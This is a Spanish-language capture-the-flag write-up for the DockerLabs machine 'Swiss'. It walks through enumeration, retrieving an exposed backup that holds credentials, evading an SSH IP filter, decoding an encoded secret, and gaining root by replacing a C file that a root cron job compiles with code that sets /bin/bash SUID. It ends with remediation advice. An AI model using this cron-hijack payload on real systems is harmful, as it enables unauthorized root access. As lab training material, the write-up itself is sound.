Skip to content

Swiss

This content is not available in your language yet.

Este documento detalla la resolución completa de la máquina Swiss, desarrollada por darksblack para DockerLabs y clasificada como Medio.

El objetivo es explicar cada fase del compromiso del sistema, desde la enumeración inicial hasta la escalada final a root, destacando las vulnerabilidades explotadas:

  1. Reconocimiento: Identificación de servicios, rutas y archivos expuestos.
  2. Explotación: Obtención de acceso mediante un archivo de credenciales oculto dentro de un backup.
  3. Escalada de privilegios: Aprovechamiento de contraseñas antiguas, información codificada y mala configuración de scripts SUID.

Todo el proceso se realizó dentro del entorno aislado de DockerLabs.


AtributoValor
NombreSwiss
Autordarksblack
DificultadMedio
Fecha17/11/2024
PlataformaDockerLabs

Se descomprime y despliega la máquina:

Ventana de terminal
unzip Swiss.zip
sudo bash auto_deploy.sh Swiss.tar

IP asignada


Ventana de terminal
mkdir -p Swiss/{content,exploits,nmap,gobuster,scripts}
cd Swiss

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos


Probamos Feroxbuster para enumeración de directorios:

Ventana de terminal
feroxbuster -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Feroxbuster result

Rutas relevantes encontradas

  • /index.html — Portafolio personal index
  • /scripts — Scripts de funcionamiento del sitio.
  • /docencia
  • /credentials.txt — Archivo descubierto solo con diccionario extendido, pero su contenido no es visible desde el navegador.

Dado que credentials.txt devuelve un archivo descargable, procedemos a obtenerlo con wget.


Descargamos el archivo:

Ventana de terminal
wget http://172.17.0.2/credentials.txt

Al intentar abrirlo se observa que está corrupto o ilegible. Verificamos su formato:

Ventana de terminal
file credentials.txt

Resultado: archivo .tar.

Lo renombramos y extraemos:

Ventana de terminal
mv credentials.txt backup.tar
tar -xf backup.tar

Dentro del backup encontramos:

  • Estructuras del sitio web.
  • Un archivo sensible: confidencial.php

confidencial.php

Este archivo contiene credenciales válidas:

Usuario: darks
Contraseña: ********

Sin embargo, al intentar iniciar sesión por SSH aparece:

CONNECTION RESET

Esto indica que el servicio SSH tiene un filtro por IP.


Para evadir esta restricción, se debe cambiar la IP de la interfaz docker0 repetidamente hasta encontrar una permitida.

Se automatiza con un script que prueba rangos y detecta cuando logra conexión.

Luego de varias pruebas, se obtiene acceso SSH como el usuario darks:

SSH conectado



Encontramos un archivo sospechoso:

pista contraseña antigua

La pista menciona una contraseña de hace 24 años.

Buscamos archivos antiguos:

Ventana de terminal
find / -type f -mtime +8700 2>/dev/null

find result

Encontramos:

/home/darks/inhackeable_pass.txt

Este archivo contiene la contraseña del usuario carlos, por lo que accedemos:

su carlos


Analizamos un binario interesante:

/var/www/sendinv2

Inspeccionamos cadenas legibles:

Ventana de terminal
strings /var/www/sendinv2

strings

Se observa una cadena codificada. Tras analizarla, identificamos que está en:

  • Base32Base64

Decodificación:

Ventana de terminal
echo -n "MFDTS42ZKNCWOYZSHF2GEM2NM..." | base32 -d | base64 -d

decode

Esto revela credenciales del usuario cristal, por lo que accedemos con:

su cristal


Dentro del home encontramos:

archivos del home

Hay:

  • Un archivo systm.c
  • Un script que lo compila periódicamente con permisos de root

Aprovechamos la tarea automatizada sustituyendo systm.c por uno malicioso:

systm.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
int main() {
const char *bash_path = "/bin/bash";
chown(bash_path, 0, 0);
chmod(bash_path, 04755);
printf("[+] /bin/bash ahora tiene SUID.\n");
return 0;
}

Una vez que el cron compila el archivo, ejecutamos:

Ventana de terminal
bash -p

Y obtenemos acceso root:

root


  • Archivos sensibles expuestos públicamente (credentials.txt).
  • Backups accesibles sin autenticación.
  • Credenciales almacenadas en texto plano.
  • Restricción SSH basada solo en rango IP.
  • Presencia de archivos antiguos con información sensible.
  • Codificación débil en el binario sendinv2.
  • Script de compilación con permisos root sin validación.
  • Tarea automatizada ejecutando código modificable por usuarios sin privilegios.

  • Restringir acceso al directorio web y eliminar backups públicos.
  • Implementar autenticación real para archivos sensibles.
  • Usar llaves SSH en lugar de contraseñas.
  • Configurar firewall en vez de filtrado manual por IP.
  • Evitar contraseñas antiguas o sin rotación.
  • Compilar binarios en ubicaciones protegidas.
  • No ejecutar cronjobs como root sobre archivos modificables por usuarios.